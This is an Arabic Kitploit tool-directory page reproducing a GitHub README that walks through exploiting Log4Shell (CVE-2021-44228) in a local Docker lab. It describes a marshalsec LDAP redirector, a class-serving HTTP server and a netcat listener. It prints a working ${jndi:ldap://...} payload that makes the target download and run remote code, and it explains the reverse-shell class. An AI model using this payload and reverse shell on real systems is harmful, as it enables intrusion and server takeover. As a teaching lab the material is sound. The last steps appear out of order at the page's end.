Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4j-vulnerability — يقدم كيفية استغلال ثغرة CVE-2021-44228. | Kitploit
أدوات/GitHubGitHub/marceloleite2604/log4j-vulnerability
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولاتمختبرات وتدريب عملي
GitHubmarceloleite2604/log4j-vulnerability

log4j-vulnerability

يقدم كيفية استغلال ثغرة CVE-2021-44228.

عرض المستودع
1منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة LOG4J

مشروع قائم على Java يوضح كيفية استغلال ثغرة CVE-2021-44228.

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

المتطلبات

  • نظام تشغيل قائم على Linux: استخدمت Ubuntu Desktop 20.10 64 bits
  • OpenJDK 17.0.1: لبناء برنامج الاستغلال. قد تعمل الإصدارات الأحدث أيضًا.
  • Oracle Java Development Kit (JDK) 1.8.0_181: هذا ضروري لكي يعمل الاستغلال. ليس من الضروري تثبيته، لكن المشروع يحتاج إلى استخراجه في المجلد الجذر. يمكن العثور على JDK في صفحة تنزيلات أرشيف Oracle Java SE 8 (JDK 8u202 والإصدارات الأقدم).
  • Apache Maven 3.6.3: لإدارة التبعيات وإنشاء ملفات jar. قد تعمل الإصدارات الأحدث أيضًا.
  • Docker 20.10.12: لإدارة الحاوية التي تحتوي على الخدمة المراد استغلالها. قد تعمل الإصدارات الأحدث أيضًا.
  • Docker-compose 1.29.2: للمساعدة في تنسيق إنشاء الصور بالإضافة إلى إنشاء الحاويات وتنفيذها وإزالتها. قد تعمل الإصدارات الأحدث أيضًا.
  • GNU Make 4.3: يستخدم هذا المشروع Makefile للمساعدة في التحقق من الملفات الإلزامية وإنشائها. قد تعمل الإصدارات الأحدث أيضًا.
  • OpenBSD Netcat (المعروف أيضًا باسم nc): لإنشاء الاتصال بالخادم المخترق. يمكن تثبيت هذه الحزمة من خلال مدير حزم توزيعة Linux الخاصة بك (مثل apt).
  • (موصى به) IntelliJ IDEA Community Edition 2021.3.1: إذا كنت ترغب في معرفة ما بداخل هذه المشاريع، فإنني أوصي بتثبيت بيئة التطوير المتكاملة هذه. مرة أخرى، قد تعمل الإصدارات الأحدث أيضًا.

التنفيذ

  1. استنسخ هذا المستودع إلى جهازك المحلي.
  2. قم بتنزيل صفحة تنزيلات أرشيف Oracle Java SE 8 (JDK 8u202 والإصدارات الأقدم) واستخراجها في المجلد الجذر للمشروع. احتفظ بها داخل المجلد jdk1.8.0_181 الذي تم إنشاؤه أثناء الاستخراج.
  3. قم بتشغيل make all لبناء جميع المشاريع وإنشاء صورة Docker مع الخدمة المعرضة للخطر.
  4. افتح ثلاث محطات طرفية وقم بتشغيل الأوامر التالية:
    1. المحطة الأولى: make start-vulnerable-service لبدء حاوية Docker تشغل الخدمة المراد استغلالها. ستكون الخدمة متاحة عبر المنفذ 8080 على الجهاز المحلي
    2. المحطة الثانية: make start-nc لبدء مستمع TCP الذي سينتظر إنشاء الاتصال بالخادم المخترق.
    3. المحطة الثالثة: make start-exploiter لبدء البرنامج الذي سيساعدنا في استغلال الثغرة.
  5. بعد بدء تشغيل المحطة الثالثة، سيعرض برنامج المستغل عنوان URL للوصول. الصقه في متصفحك لبدء الاستغلال.
  6. إذا حدث كل شيء كما هو متوقع، فلن يتلقى المتصفح ردًا وسيظل المتصفح عالقًا في حالة تحميل.
  7. تحقق الآن من المحطة الثانية (التي تم فيها تنفيذ make start-nc). قد تكون تلقيت رسالة مثل Connection received on 172.24.0.2 46638 (قد لا يكون عنوان IP ومنفذ TCP مماثلين لما هو معروض هنا). هذا يعني أن الاستغلال نجح وأصبح لدينا الآن شل متصل بالخادم/حاوية Docker.
  8. للتأكد من أن كل شيء حدث كما هو متوقع، حاول تنفيذ أمر whoami. قد تتلقى كمخرج.

كيف يعمل؟

قبل الإجابة على ذلك، دعنا نلقي نظرة على العمليات التي تم إنشاؤها خلال التدفق.

log4-vulnerability processeses

حاوية Docker

ستقدم حاوية Docker هذه خدمة HTTP بسيطة مسؤولة عن استقبال طلبات GET على المسار /log مع معامل input. بمجرد استلامها، تسجل الإدخال على وحدة التحكم.

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

من أجل استغلال الثغرة، يلزم تكوينات محددة:

  • إصدار بيئة تشغيل Java (JRE) المستخدمة لتشغيل الخدمة هو 1.8.0_181. هذا ضروري للسماح بتحميل فئة Java من خدمة خارجية.
  • يجب تعديل تبعيات مشروع Java بشكل كبير لاستبدال spring-boot-starter-logging:2.6.1 الافتراضي بـ spring-boot-starter-log4j2:2.6.1. الأخير يجلب log4j-core:2.14.1 إلى المشروع، وهو إصدار معرض لـ CVE-2021-44228.

dependency-tree

  • تم إنشاء ملف Jar للخدمة باستخدام إصدار مترجم Java 1.8.0_181.

برنامج Netcat (nc)

لا توجد تفسيرات أو تعديلات كبيرة هنا. هذا برنامج بسيط يُستخدم لقراءة وكتابة البيانات عبر بروتوكولات TCP و UDP. سنستخدمه للاستمرار في الاستماع للاتصالات TCP الواردة على المنفذ 9001 (شيء آخر سيفتح هذا الاتصال لنا على جانب الخادم. 😉).

بمجرد إنشاء الاتصال، سيتم إخراج جميع البيانات الواردة على وحدة التحكم. أيضًا، سيتم إرسال جميع المدخلات المكتوبة عبر هذا الاتصال.

المستغل

الآن هنا تبدأ المتعة!

يغلف هذا البرنامج عدة خطوات مطلوبة لاستغلال الثغرة. دعنا نقسمها:

وسائط التنفيذ

لتشغيل هذا البرنامج، نحتاج إلى إبلاغ ثلاث معاملات:

  1. عنوان IP لخادم HTTP و Netcat/المضيف: لاستغلال الثغرة، سنحتاج إلى عنوان IP لخادم HTTP بالنسبة للخدمة المعرضة للخطر حتى يتمكن رد LDAP لدينا من توجيهه لتنزيل فئة Java المجمعة من خلاله. سيتم استخدامه أيضًا بواسطة فئة Java نفسها لفتح اتصال TCP مع Netcat (كما هو موضح أعلاه).
  2. منفذ خادم HTTP: المنفذ الذي سيقبل فيه خادم HTTP المسؤول عن إرسال فئة Java المجمعة الاتصالات. سيتم إرساله أيضًا مع رد LDAP لإعلام المنفذ الذي سيتم تنزيل فئة Java المجمعة منه.
  3. منفذ Netcat: المنفذ الذي يستمع فيه Netcat للاتصالات. سيتم استخدامه بواسطة فئة Java المجمعة لفتح اتصال TCP مع Netcat.

فئة Java الخاصة بالاستغلال

بمجرد بدء البرنامج، سيكتب كود Java بناءً على قالب. يتطلب هذا القالب وسيطرين: عنوان IP ومنفذ Netcat.

بمجرد كتابة الكود، سيقوم البرنامج بتجميعه إلى ملف فئة ثنائي باستخدام مترجم Java (javac) إصدار 1.8.0_181. هذا مهم للحفاظ على نفس إصدار الكود مثل الخدمة المستغلة.

تحتوي فئة Java الخاصة بالاستغلال على بنية بسيطة إلى حد ما. في الباني الخاص بها، يوجد تعليمة تطلب من نظام التشغيل إنشاء برنامج شل. بمجرد إنشائه، تفتح الفئة اتصال TCP مع Netcat، وتربط مدخلات ومخرجات الشل واتصال TCP، وتحتجز تنفيذ آلة Java الافتراضية في حلقة حتى يتم إغلاق الاتصال بواسطة Netcat. بمجرد الخروج من الحلقة، يستمر الباني كما لو لم يحدث شيء.

برنامج Marshalsec

يفتح المستغل عملية فرعية تطلب تنفيذ برنامج Java Marshalsec. برنامج Marshalsec متاح في مشروع mbechler/marchalsec على Github.

إلى جانب وظائف أخرى، يقوم بإدارة طلبات LDAP ويمكن استخدامه لطلب حل الاتصالات الواردة للطلبات عن طريق تنزيل فئات Java من مصدر خارجي. في حالتنا، سنستخدمه لطلب تنزيل الاتصالات الواردة لفئة Java الخاصة بنا Exploit من خدمة HTTP.

خدمة HTTP

بمجرد أن يقوم برنامج المستغل بإنشاء فئة Java المزيفة، سيبدأ خدمة HTTP برد واحد: فئة Java الثنائية الخاصة بالاستغلال.

باختصار، عندما تطلب الخدمة المعرضة للخطر تحميل الفئة الخارجية، ستقرأ هذه الخدمة ملف فئة Java الثنائي وترسله مرة أخرى إلى الخدمة المعرضة للخطر. بهذه البساطة!

طلب HTTP واحد للسيطرة على الكل

بمجرد أن يكون كل شيء جاهزًا ويعمل، سيقوم البرنامج بعد ذلك بإخراج طلب HTTP المطلوب لبدء الاستغلال. ما عليك سوى نسخه ولصقه في متصفحك المفضل أو استخدام curl عبر محطة طرفية، أيهما يناسبك!

سيكون الطلب مشابهًا لهذا:

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

نظرًا لأن معاملات الاستعلام تحتوي على أحرف خاصة، فإنها تحتاج إلى ترميز حتى يتمكن المتصفح من قبولها. إذا قمنا بفك تشفيرها، ستكون الرسالة:

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

تدفق الاتصال

فيما يلي مخطط مبسط لما يحدث بمجرد إرسال الطلب:

log4j-vulnerability communication flow

سأحاول استخدامه لشرح ما يحدث بعد ذلك:

  • سيرسل المتصفح طلب HTTP إلى خدمتنا المعرضة للخطر.
  • ستقبل الخدمة المعرضة للخطر الطلب وتسجل إدخال المستخدم.
  • بمجرد أن يستقبل log4j الرسالة، يلاحظ أن هناك محتوى يجب حله: ${jndi:ldap://host.docker.internal:1389/a}.
  • وفقًا للقيمة، يجب استرداد المحتوى الذي سيتم تقديمه عبر بروتوكول LDAP من host.docker.internal:1389 باستخدام المفتاح a (اسم مميز LDAP باهت وغير صالح ولكن، مهلاً، طالما أنه يعمل...). ثم يرسل log4j طلبًا إلى هذا العنوان بهدف استرداد القيمة.

ملاحظة: host.docker.internal هو عنوان صالح من خدمة Docker للوصول إلى الجهاز الفعلي الذي يعمل عليه.

  • سيقبل برنامج Marshalsec (الذي يعمل محليًا على المنفذ 1389) الطلب الوارد ويطلب من الخدمة المعرضة للخطر تنزيل ملف فئة Java متاح على host.docker.internal:8000 باسم Exploit لحل الطلب.
  • ثم يرسل log4j طلبًا إلى host.docker.internal:8000 يطلب الحصول على مورد متاح في المسار /Exploit.
  • ستستجيب خدمة HTTP (التي تعمل محليًا على المنفذ 8000) للطلب بإرسال فئة Java الثنائية Exploit.
  • ثم يحاول log4j إنشاء مثيل للفئة لحل المتغير عن طريق تنفيذ طريقة الباني Exploit().
  • تبدأ طريقة الباني Exploit() برنامج شل على الخادم، وتطلب فتح قناة TCP مع host.docker.internal:9001.
  • ثم يقبل Netcat (الذي يعمل محليًا على المنفذ 9001) اتصال TCP الوارد.
  • ثم تقوم طريقة الباني Exploit() بربط مدخلات ومخرجات الشل مع اتصال TCP وتحجز سلسلة آلة Java الافتراضية في حلقة حتى يتم إغلاق اتصال TCP من الجانب الآخر.
  • يمكن الآن استخدام Netcat لإرسال أوامر الشل واستقبال المخرجات من الخادم.

اعتبارات

TBD

المراجع

مشروع kozmer/log4j-shell-poc على Github - ساعدني في فهم كيفية عمل الاستغلال. شكرًا لجميع من ساهم في هذا المشروع!

مشروع mbechler/marchalsec على Github - لم أكن لأتمكن من العمل مع اتصال LDAP وإعادة التوجيه بالسرعة التي قمت بها بدون هذا المشروع. شكرًا لكم يا رفاق!

فيديو SrcCodes حول ثغرة Log4j - فيديو موضح جيدًا يقدم كيفية بدء الاستغلال على برنامج قائم على Spring.

فيديو Nowcomm التجريبي لاستغلال CVE-2021-44228 - فيديو جميل يشرح كيفية استغلال CVE-2021-44228 على Apache Solr. اضطررت لمشاهدة النصف الثاني حوالي عشر مرات لأفهم ما كان يحدث بالفعل! 😛

تنزيل الأداة
root
  • الآن حاول تشغيل cat ../private-directory/my-secret-file.txt لترى ما يحدث. 🙂
  • بمجرد الانتهاء من العبث بالخادم، اضغط CTRL+C لإغلاق الاتصال.
  • يمكنك أيضًا الضغط على CTRL+C في المحطات الأخرى لمقاطعة العمليات.